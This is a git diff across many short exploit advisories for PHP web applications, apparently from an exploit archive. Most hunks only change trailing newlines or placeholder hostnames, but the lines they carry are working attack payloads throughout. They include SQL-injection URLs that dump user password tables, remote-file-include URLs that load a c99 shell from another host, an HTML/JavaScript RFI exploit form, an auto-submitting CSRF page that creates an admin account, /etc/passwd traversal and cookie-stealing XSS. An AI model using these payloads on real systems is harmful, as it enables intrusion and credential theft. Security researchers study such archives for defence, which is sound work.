diff --git a/platforms/php/webapps/31631.txt b/platforms/php/webapps/31631.txt index bf50ebc84..d29781e3d 100755 --- a/platforms/php/webapps/31631.txt +++ b/platforms/php/webapps/31631.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects PU Arcade 2.2; other versions may also be affected. -http://www.example..com/Path/index.php?option=com_puarcade&Itemid=1&gid=0 UNION SELECTpassword,username,0,0,0 from jos_users-- \ No newline at end of file +http://www.example..com/Path/index.php?option=com_puarcade&Itemid=1&gid=0 UNION SELECTpassword,username,0,0,0 from jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/31633.html b/platforms/php/webapps/31633.html index dfed51530..63095f39d 100755 --- a/platforms/php/webapps/31633.html +++ b/platforms/php/webapps/31633.html @@ -4,4 +4,4 @@ Fishing Cat Portal Addon for phpBB is prone to a remote file-include vulnerabili Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible. -<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> <title>Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit</title> <script language="JavaScript"> //'Bug found and Exploit coded by bd0rk //'Vendor: http://www.foxymods-phpbb.com/ //'Download: http://www.foxymods-phpbb.com/download.php?id=7 //'Contact: bd0rk[at]hackermail.com //'Vulnerable Code in line 21: include_once($phpbb_root_path . 'includes/lite.'.$phpEx); //'$phpbb_root_path is not declared before include //'Greetings: str0ke, TheJT, rgod, Frauenarzt //#The german Hacker bd0rk var dir="/includes/" var file="/functions_portal.php?" var parameter ="phpbb_root_path=" var shell="Insert your shellcode here" function command() { if (document.rfi.target1.value==""){ alert("Exploit failed..."); return false; } rfi.action= document.rfi.target1.value+dir+file+parameter+shell; rfi.submit(); } </script> </head> <body bgcolor="#000000"> <center> <p><b><font face="Verdana" size="2" color="#008000">Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit</font></b></p> <p></p> <form method="post" target="getting" name="rfi" onSubmit="command();"> <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial"> </font><font color="#FF0000" size="2">&nbsp;</font></b> <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p> <p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p> </form> <p><br> <iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe> </p> <b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p> </center> </body> </html> \ No newline at end of file +<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> <title>Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit</title> <script language="JavaScript"> //'Bug found and Exploit coded by bd0rk //'Vendor: http://www.foxymods-phpbb.com/ //'Download: http://www.foxymods-phpbb.com/download.php?id=7 //'Contact: bd0rk[at]hackermail.com //'Vulnerable Code in line 21: include_once($phpbb_root_path . 'includes/lite.'.$phpEx); //'$phpbb_root_path is not declared before include //'Greetings: str0ke, TheJT, rgod, Frauenarzt //#The german Hacker bd0rk var dir="/includes/" var file="/functions_portal.php?" var parameter ="phpbb_root_path=" var shell="Insert your shellcode here" function command() { if (document.rfi.target1.value==""){ alert("Exploit failed..."); return false; } rfi.action= document.rfi.target1.value+dir+file+parameter+shell; rfi.submit(); } </script> </head> <body bgcolor="#000000"> <center> <p><b><font face="Verdana" size="2" color="#008000">Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit</font></b></p> <p></p> <form method="post" target="getting" name="rfi" onSubmit="command();"> <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial"> </font><font color="#FF0000" size="2">&nbsp;</font></b> <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p> <p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p> </form> <p><br> <iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe> </p> <b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p> </center> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/31636.txt b/platforms/php/webapps/31636.txt index 2dec9d5fa..ce63f1504 100755 --- a/platforms/php/webapps/31636.txt +++ b/platforms/php/webapps/31636.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects unknown versions of phpHotResources; we will update this BID when more details become available. -http://www.example.com/[path]/cat.php?lang=4&kind=-4214+union+select+1,user_name,password,4,5,6,7,8,9+from+users/* \ No newline at end of file +http://www.example.com/[path]/cat.php?lang=4&kind=-4214+union+select+1,user_name,password,4,5,6,7,8,9+from+users/* \ No newline at end of file diff --git a/platforms/php/webapps/31637.txt b/platforms/php/webapps/31637.txt index da3a6018c..001bef21b 100755 --- a/platforms/php/webapps/31637.txt +++ b/platforms/php/webapps/31637.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects unknown versions of Dating Club; we will update this BID when more details become available. -http://www.example.com/[path]/browse.php?mode=browsebyCat&_gender=0&age_from=15&age_to=-4214/**/union/**/select/**/1,user_name,password,4,5,6,7,8/**/from/**/users/*&country=&state=&field=body \ No newline at end of file +http://www.example.com/[path]/browse.php?mode=browsebyCat&_gender=0&age_from=15&age_to=-4214/**/union/**/select/**/1,user_name,password,4,5,6,7,8/**/from/**/users/*&country=&state=&field=body \ No newline at end of file diff --git a/platforms/php/webapps/3164.pl b/platforms/php/webapps/3164.pl index e1cec8bb5..0a4dc1af1 100755 --- a/platforms/php/webapps/3164.pl +++ b/platforms/php/webapps/3164.pl @@ -8,7 +8,7 @@ # # # Class: Remote File Include Vulnerability # # # -# exemplary Exp: http://www.server/config.php?env[inc_path]= # +# exemplary Exp: http://www.site.com/config.php?env[inc_path]= # # # # Remote: Yes # # # diff --git a/platforms/php/webapps/31640.txt b/platforms/php/webapps/31640.txt index d9ccffeff..513e1e215 100755 --- a/platforms/php/webapps/31640.txt +++ b/platforms/php/webapps/31640.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Poll Booth v2.0 is vulnerable; other versions may also be affected. -http://www.example.com/pollBooth.php?op=results&pollID=-1+union+select+password,1,2,3+from+users \ No newline at end of file +http://www.example.com/pollBooth.php?op=results&pollID=-1+union+select+password,1,2,3+from+users \ No newline at end of file diff --git a/platforms/php/webapps/31653.txt b/platforms/php/webapps/31653.txt index d70379b8b..8dee5e877 100755 --- a/platforms/php/webapps/31653.txt +++ b/platforms/php/webapps/31653.txt @@ -6,4 +6,4 @@ Attackers may leverage these issues to execute arbitrary script code in the brow Amfphp 1.2 is vulnerable; other versions may also be affected. -http://www.example.com/amfphp/browser/details.php?class=[xss] \ No newline at end of file +http://www.example.com/amfphp/browser/details.php?class=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/31654.txt b/platforms/php/webapps/31654.txt index eca509f26..2c6f9b8e8 100755 --- a/platforms/php/webapps/31654.txt +++ b/platforms/php/webapps/31654.txt @@ -4,4 +4,4 @@ W2B Online Banking is prone to a remote file-include vulnerability because it fa Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/[path]/index.php?ilang=http://www.example2.com/c99.txt \ No newline at end of file +http://www.example.com/[path]/index.php?ilang=http://www.example2.com/c99.txt \ No newline at end of file diff --git a/platforms/php/webapps/31655.txt b/platforms/php/webapps/31655.txt index 30d1bee49..fd72b1e33 100755 --- a/platforms/php/webapps/31655.txt +++ b/platforms/php/webapps/31655.txt @@ -4,4 +4,4 @@ Istant-Replay is prone to a remote file-include vulnerability because it fails t Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/[forum]/read.php?data=http://127.0.0.1/c99.txt? \ No newline at end of file +http://www.example.com/[forum]/read.php?data=http://127.0.0.1/c99.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31658.txt b/platforms/php/webapps/31658.txt index d668807b5..03b10646f 100755 --- a/platforms/php/webapps/31658.txt +++ b/platforms/php/webapps/31658.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MyBoard 1.0.12 is vulnerable; other versions may also be affected. -http://www.example.com/MyBoard/rep.php?id=[XSS] \ No newline at end of file +http://www.example.com/MyBoard/rep.php?id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31665.txt b/platforms/php/webapps/31665.txt index 6742a33c7..ab7c383f2 100755 --- a/platforms/php/webapps/31665.txt +++ b/platforms/php/webapps/31665.txt @@ -4,4 +4,4 @@ EsContacts is prone to multiple cross-site scripting vulnerabilities because it Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/EScontacts_path/EsContacts/search.php?msg=[XSS] \ No newline at end of file +http://www.example.com/EScontacts_path/EsContacts/search.php?msg=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31671.html b/platforms/php/webapps/31671.html index ae1c8f68f..7c2f6be49 100755 --- a/platforms/php/webapps/31671.html +++ b/platforms/php/webapps/31671.html @@ -6,4 +6,4 @@ Exploiting these issues may allow a remote attacker to create administrative acc TorrentFlux 2.3 is vulnerable; other versions may also be affected. -<html> Add an admistrative account: <form id=?create_admin? method=?post? action=?http://localhost/torrentflux_2.3/html/admin.php?op=addUser?> <input type=hidden name=?newUser? value=?sadmin?> <input type=hidden name=?pass1&#8243; value=?password?> <input type=hidden name=?pass2&#8243; value=?password?> <input type=hidden name=?userType? value=1> <input type=submit value=?create admin?> </form> </html> <script> document.getElementById(?create_admin?).submit(); </script> \ No newline at end of file +<html> Add an admistrative account: <form id=?create_admin? method=?post? action=?http://localhost/torrentflux_2.3/html/admin.php?op=addUser?> <input type=hidden name=?newUser? value=?sadmin?> <input type=hidden name=?pass1&#8243; value=?password?> <input type=hidden name=?pass2&#8243; value=?password?> <input type=hidden name=?userType? value=1> <input type=submit value=?create admin?> </form> </html> <script> document.getElementById(?create_admin?).submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/31675.txt b/platforms/php/webapps/31675.txt index 0dd720419..53f9f5769 100755 --- a/platforms/php/webapps/31675.txt +++ b/platforms/php/webapps/31675.txt @@ -7,4 +7,4 @@ An attacker can exploit these vulnerabilities using directory-traversal strings The issues affect Aterr 0.9.1; other versions might also be affected. http://www.example.com/path/include/functions.inc.php?class=[Local File] -http://www.example.com/path/include/common.inc.php?file=[Local File] \ No newline at end of file +http://www.example.com/path/include/common.inc.php?file=[Local File] \ No newline at end of file diff --git a/platforms/php/webapps/31676.txt b/platforms/php/webapps/31676.txt index 3ae7a0476..050a66000 100755 --- a/platforms/php/webapps/31676.txt +++ b/platforms/php/webapps/31676.txt @@ -4,4 +4,4 @@ Host Directory PRO is prone to a security-bypass vulnerability because it fails Exploiting this issue may allow an attacker to bypass certain security restrictions and gain administrative access to the application. This will compromise the application and may aid in further attacks. -javascript:document.cookie = "adm=1 path=/;"; \ No newline at end of file +javascript:document.cookie = "adm=1 path=/;"; \ No newline at end of file diff --git a/platforms/php/webapps/31679.txt b/platforms/php/webapps/31679.txt index 9b9e935ec..9ff68b275 100755 --- a/platforms/php/webapps/31679.txt +++ b/platforms/php/webapps/31679.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to include arbitrary remote files containing PortailPHP 2.0 is vulnerable; other versions may also be vulnerable. -http://www.example.com/portailphp_path/mod_search/index.php?chemin=ZoRlu.txt \ No newline at end of file +http://www.example.com/portailphp_path/mod_search/index.php?chemin=ZoRlu.txt \ No newline at end of file diff --git a/platforms/php/webapps/31682.txt b/platforms/php/webapps/31682.txt index 58dcb1a70..38a81fe7c 100755 --- a/platforms/php/webapps/31682.txt +++ b/platforms/php/webapps/31682.txt @@ -8,4 +8,4 @@ S9Y Serendipity 1.3 is vulnerable; other versions may also be affected. The following proof of concept is available for the referrer issue: -wget --referer='http://<hr onMouseOver="alert(7)">' http://someblog.com/ \ No newline at end of file +wget --referer='http://<hr onMouseOver="alert(7)">' http://someblog.com/ \ No newline at end of file diff --git a/platforms/php/webapps/31697.txt b/platforms/php/webapps/31697.txt index 6c3468869..145f80b7d 100755 --- a/platforms/php/webapps/31697.txt +++ b/platforms/php/webapps/31697.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would execute in the context of the affec This issue affects Kronolith 2.1.7. The vulnerable Kronolith versions are included in Horde Groupware 1.0.5 and Horde Groupware Webmail Edition 1.0.6. -http://www.example.com/horde/kronolith/addevent.php?timestamp=1208932200&url=[xss] \ No newline at end of file +http://www.example.com/horde/kronolith/addevent.php?timestamp=1208932200&url=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/31702.txt b/platforms/php/webapps/31702.txt index 4c4aa00bb..b1cc5cc89 100755 --- a/platforms/php/webapps/31702.txt +++ b/platforms/php/webapps/31702.txt @@ -6,4 +6,4 @@ An attacker can leverage this issue to execute arbitrary code on an affected com Note that to exploit this issue, the attacker may require valid login credentials. -http://www.example.com/phpnuke/upload_category/filename.html \ No newline at end of file +http://www.example.com/phpnuke/upload_category/filename.html \ No newline at end of file diff --git a/platforms/php/webapps/31708.txt b/platforms/php/webapps/31708.txt index df4365c65..0496cac00 100755 --- a/platforms/php/webapps/31708.txt +++ b/platforms/php/webapps/31708.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Visites 1.1 RC2 is vulnerable; other versions may also be affected. -http://www.example.com/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=[evilcode] \ No newline at end of file +http://www.example.com/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=[evilcode] \ No newline at end of file diff --git a/platforms/php/webapps/31709.txt b/platforms/php/webapps/31709.txt index db4f584b4..1c12bb225 100755 --- a/platforms/php/webapps/31709.txt +++ b/platforms/php/webapps/31709.txt @@ -8,4 +8,4 @@ Or, the attacker may exploit the issue as a local file-include vulnerability to Siteman 2.0.x2 is vulnerable; other versions may also be affected. -http://www.example.com/siteman2/index.php?module=[XSS] \ No newline at end of file +http://www.example.com/siteman2/index.php?module=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/3171.pl b/platforms/php/webapps/3171.pl index 464a5d545..305fd29f9 100755 --- a/platforms/php/webapps/3171.pl +++ b/platforms/php/webapps/3171.pl @@ -8,7 +8,7 @@ # # # Class: Remote File Include Vulnerability # # # -# exemplary Exp: http://www.server/index.php?gen= # +# exemplary Exp: http://www.site.com/index.php?gen= # # # # Remote: Yes # # # diff --git a/platforms/php/webapps/31714.txt b/platforms/php/webapps/31714.txt index 2ef6f1998..8869a219b 100755 --- a/platforms/php/webapps/31714.txt +++ b/platforms/php/webapps/31714.txt @@ -4,4 +4,4 @@ C-News is prone to a cross-site scripting vulnerability because it fails to prop An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/install.php?etape=[XSS] \ No newline at end of file +http://www.example.com/install.php?etape=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31717.txt b/platforms/php/webapps/31717.txt index af973816d..79ca114e4 100755 --- a/platforms/php/webapps/31717.txt +++ b/platforms/php/webapps/31717.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MJGUEST 6.7 GT is vulnerable; other versions may also be affected. -http://www.example.com/mjguest/mjguest.php?do=redirect&level=>"<[XSS] \ No newline at end of file +http://www.example.com/mjguest/mjguest.php?do=redirect&level=>"<[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31718.txt b/platforms/php/webapps/31718.txt index 51eeba04d..02549e15f 100755 --- a/platforms/php/webapps/31718.txt +++ b/platforms/php/webapps/31718.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow phpAddressBook 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/pad/?username="<[XSS] \ No newline at end of file +http://www.example.com/pad/?username="<[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31720.txt b/platforms/php/webapps/31720.txt index 7be527f99..d6276f4b9 100755 --- a/platforms/php/webapps/31720.txt +++ b/platforms/php/webapps/31720.txt @@ -14,4 +14,4 @@ http://www.example.com/quicktalk/qtf_ind_search_ov.php?a=user&id=[XSS] http://www.example.com/quicktalk/qtf_ind_search_kw.php?title=adasdasdadasda&f=-1&al=0&at=0&s=[XSS] http://www.example.com/quicktalk/qtf_ind_stat.php?y=[XSS] http://www.example.com/quicktalk/qtf_ind_post.php?f=1&t=1[XSS] -http://www.example.com/quicktalk/qtf_adm_cmd.php?a=[XSS] \ No newline at end of file +http://www.example.com/quicktalk/qtf_adm_cmd.php?a=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31732.txt b/platforms/php/webapps/31732.txt index e3fb9f231..254102dff 100755 --- a/platforms/php/webapps/31732.txt +++ b/platforms/php/webapps/31732.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/GEDCOM_to_MySQL2/php/info.php?nom_branche=[XSS] http://www.example.com/GEDCOM_to_MySQL2/php/info.php?nom=[XSS] -http://www.example.com/GEDCOM_to_MySQL2/php/info.php?prenom=[XSS] \ No newline at end of file +http://www.example.com/GEDCOM_to_MySQL2/php/info.php?prenom=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31734.txt b/platforms/php/webapps/31734.txt index 232f9b8c4..4c433c42a 100755 --- a/platforms/php/webapps/31734.txt +++ b/platforms/php/webapps/31734.txt @@ -14,13 +14,13 @@ 1. Vulnerability no 1 (SQL Injection): -http://server/page.php?action=post.manage.home&blog_id=1%27%22 +http://target.com/page.php?action=post.manage.home&blog_id=1%27%22 Demo screenshot: https://www.dropbox.com/s/cpxvk7h1dxu8xnv/pina2.png 2. Vulnerability no 2. (XSS): -Go to this link: http://server/page.php?action=post.manage.home +Go to this link: http://target.com/page.php?action=post.manage.home Apply this JavaScript on search bar diff --git a/platforms/php/webapps/31739.txt b/platforms/php/webapps/31739.txt index ea716e9a5..d0d98b256 100755 --- a/platforms/php/webapps/31739.txt +++ b/platforms/php/webapps/31739.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a TLM CMS 1.1 is vulnerable; other versions may also be affected. http://www.example.com/tlmcms_v1-1/tlmcms/index.php?affiche=Photo-Photo&ID=1'/**/union/**/select/**/0,1,concat(US_pwd),concat(US_pseudo),concat(US_mail)/**/from/**/pphp_user/* -http://www.example.com/tlmcms_v1-1/tlmcms/index.php?affiche=Comment&act=lire&idnews=-99999999/**/union/**/select/**/0,1,concat(US_mail),concat(US_pseudo),concat(US_pwd),5,6,7,8,9,10/**/from/**/pphp_user/* \ No newline at end of file +http://www.example.com/tlmcms_v1-1/tlmcms/index.php?affiche=Comment&act=lire&idnews=-99999999/**/union/**/select/**/0,1,concat(US_mail),concat(US_pseudo),concat(US_pwd),5,6,7,8,9,10/**/from/**/pphp_user/* \ No newline at end of file diff --git a/platforms/php/webapps/31746.txt b/platforms/php/webapps/31746.txt index 1bfaef4b7..e4744ab20 100755 --- a/platforms/php/webapps/31746.txt +++ b/platforms/php/webapps/31746.txt @@ -4,4 +4,4 @@ BatmanPorTaL is prone to multiple SQL-injection vulnerabilities because it fails A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/lab/BatmanPorTaL/profil.asp?id=1+union+select+0,admin_pw,admin_kd,3,4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,1,1+from+ayarlar \ No newline at end of file +http://www.example.com/lab/BatmanPorTaL/profil.asp?id=1+union+select+0,admin_pw,admin_kd,3,4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,1,1+from+ayarlar \ No newline at end of file diff --git a/platforms/php/webapps/3175.pl b/platforms/php/webapps/3175.pl index 9e4a56213..c9c66b697 100755 --- a/platforms/php/webapps/3175.pl +++ b/platforms/php/webapps/3175.pl @@ -67,8 +67,8 @@ sub usage() { head(); print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n"; - print " <Site> - Full path to VisoHotlink ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to VisoHotlink ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by bd0rk \r\n"; diff --git a/platforms/php/webapps/31751.txt b/platforms/php/webapps/31751.txt index 3acfaa0fb..1d0f5b089 100755 --- a/platforms/php/webapps/31751.txt +++ b/platforms/php/webapps/31751.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Sphider 1.3.4 is vulnerable; other versions may also be affected. -http://www.example.com/search.php?query=xsss%20%3Cscript%3Ealert('HELLO');%3C/script%3E&search=1 \ No newline at end of file +http://www.example.com/search.php?query=xsss%20%3Cscript%3Ealert('HELLO');%3C/script%3E&search=1 \ No newline at end of file diff --git a/platforms/php/webapps/31752.txt b/platforms/php/webapps/31752.txt index 45ccc7608..de2204007 100755 --- a/platforms/php/webapps/31752.txt +++ b/platforms/php/webapps/31752.txt @@ -7,4 +7,4 @@ An attacker can exploit these vulnerabilities using directory-traversal strings Forum Rank System 6 is vulnerable; other versions may also be affected. http://www.example.com/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00 -http://www.example.com/infusions/rank_system/profile.php?settings[locale]=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/infusions/rank_system/profile.php?settings[locale]=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31753.txt b/platforms/php/webapps/31753.txt index 99c0c27fe..310ec211a 100755 --- a/platforms/php/webapps/31753.txt +++ b/platforms/php/webapps/31753.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Tux CMS 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/?q=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=%00""><script>alert(document.cookie)</script> http://www.example.com/tux-syndication/atom.php/>"><ScRiPt>alert(document.cookie)</ScRiPt> \ No newline at end of file +http://www.example.com/?q=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=%00""><script>alert(document.cookie)</script> http://www.example.com/tux-syndication/atom.php/>"><ScRiPt>alert(document.cookie)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/31768.txt b/platforms/php/webapps/31768.txt index b240f56dc..4a39c8953 100755 --- a/platforms/php/webapps/31768.txt +++ b/platforms/php/webapps/31768.txt @@ -140,4 +140,4 @@ Timeline Discovered by: ================ -Tom Adams \ No newline at end of file +Tom Adams \ No newline at end of file diff --git a/platforms/php/webapps/31773.txt b/platforms/php/webapps/31773.txt index 713a6ef8d..818c197ea 100755 --- a/platforms/php/webapps/31773.txt +++ b/platforms/php/webapps/31773.txt @@ -4,4 +4,4 @@ cPanel is prone to multiple cross-site scripting vulnerabilities because the app An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/scripts2/listaccts?searchtype=domain&search=[INJECTION]&acctp=30 \ No newline at end of file +http://www.example.com/scripts2/listaccts?searchtype=domain&search=[INJECTION]&acctp=30 \ No newline at end of file diff --git a/platforms/php/webapps/31774.txt b/platforms/php/webapps/31774.txt index fde2fa97d..ed680dae2 100755 --- a/platforms/php/webapps/31774.txt +++ b/platforms/php/webapps/31774.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to execute arbitrary script code in the conte BlogPHP 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?act=sendmessage&user=admin[XSS] \ No newline at end of file +http://www.example.com/index.php?act=sendmessage&user=admin[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31775.txt b/platforms/php/webapps/31775.txt index 3b14c0923..9e9720d57 100755 --- a/platforms/php/webapps/31775.txt +++ b/platforms/php/webapps/31775.txt @@ -4,4 +4,4 @@ OtherLogic is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/vocourse.php?id=[SQL Injection] \ No newline at end of file +http://www.example.com/vocourse.php?id=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/31776.txt b/platforms/php/webapps/31776.txt index 2ab58b3d9..39fbc2fe9 100755 --- a/platforms/php/webapps/31776.txt +++ b/platforms/php/webapps/31776.txt @@ -5,4 +5,4 @@ The WordPress WP Photo Album (WPPA) plugin is prone to an SQL-injection vulnerab Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/photos/?album=1&photo=-11111+union+select+concat(user_login,char(45),user_pass)+from+wp_users-- -http://www.example.com/?page_id=[gallerypage]&album=10&photo=-16+union+select+concat(user_login,char(45),user_pass)+from+wp_users-- \ No newline at end of file +http://www.example.com/?page_id=[gallerypage]&album=10&photo=-16+union+select+concat(user_login,char(45),user_pass)+from+wp_users-- \ No newline at end of file diff --git a/platforms/php/webapps/31778.txt b/platforms/php/webapps/31778.txt index 85a330f33..580b9eda8 100755 --- a/platforms/php/webapps/31778.txt +++ b/platforms/php/webapps/31778.txt @@ -4,4 +4,4 @@ phpInstantGallery is prone to multiple cross-site scripting vulnerabilities beca An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/phpInstantGallery/index.php?gallery=[XSS] \ No newline at end of file +http://www.example.com/phpInstantGallery/index.php?gallery=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31780.txt b/platforms/php/webapps/31780.txt index ab17cf1a8..65e344f74 100755 --- a/platforms/php/webapps/31780.txt +++ b/platforms/php/webapps/31780.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CyrixMED 1.4 is vulnerable; other versions may also be affected. -http://www.example.com/CyrixMed_v1.4/index.php?msg_erreur=[XSS] \ No newline at end of file +http://www.example.com/CyrixMed_v1.4/index.php?msg_erreur=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31781.txt b/platforms/php/webapps/31781.txt index 9101cf6f2..a3c84758e 100755 --- a/platforms/php/webapps/31781.txt +++ b/platforms/php/webapps/31781.txt @@ -13,4 +13,4 @@ Username: valid_username/* [eg. admin/*] Password: learn3r [or whatever] Or Username: " or 1=1/* -Password: learn3r [or whatever] \ No newline at end of file +Password: learn3r [or whatever] \ No newline at end of file diff --git a/platforms/php/webapps/31782.txt b/platforms/php/webapps/31782.txt index b79a33134..afabde16a 100755 --- a/platforms/php/webapps/31782.txt +++ b/platforms/php/webapps/31782.txt @@ -7,4 +7,4 @@ Exploiting these issues may allow a remote attacker to compromise the applicatio Claroline 1.7.5 is affected; other versions may also be vulnerable. http://www.example.com/[PaTh]/claroline/inc/lib/export_exe_tracking.class.php?clarolineRepositoryAppend=[Ev!l] -http://www.example.com/[PaTh]/claroline/inc/lib/event/init_event_manager.inc.php?includePath=[Ev!l] \ No newline at end of file +http://www.example.com/[PaTh]/claroline/inc/lib/event/init_event_manager.inc.php?includePath=[Ev!l] \ No newline at end of file diff --git a/platforms/php/webapps/31783.txt b/platforms/php/webapps/31783.txt index 8e4b21098..6bf7cfe31 100755 --- a/platforms/php/webapps/31783.txt +++ b/platforms/php/webapps/31783.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to compromise the application and th Fusebox 5.5.1 is vulnerable; other versions may also be affected. -http://www.example.com/[PaTh]/fusebox5.php?FUSEBOX_APPLICATION_PATH=[EV!L] \ No newline at end of file +http://www.example.com/[PaTh]/fusebox5.php?FUSEBOX_APPLICATION_PATH=[EV!L] \ No newline at end of file diff --git a/platforms/php/webapps/31784.txt b/platforms/php/webapps/31784.txt index 71a481c62..08327fcd0 100755 --- a/platforms/php/webapps/31784.txt +++ b/platforms/php/webapps/31784.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th PhpMyAgenda 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/[PaTh]/infoevent.php3?rootagenda=[EV!L] \ No newline at end of file +http://www.example.com/[PaTh]/infoevent.php3?rootagenda=[EV!L] \ No newline at end of file diff --git a/platforms/php/webapps/31795.txt b/platforms/php/webapps/31795.txt index 7dfb9d681..8db03ae46 100755 --- a/platforms/php/webapps/31795.txt +++ b/platforms/php/webapps/31795.txt @@ -4,4 +4,4 @@ Links Pile is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/* \ No newline at end of file 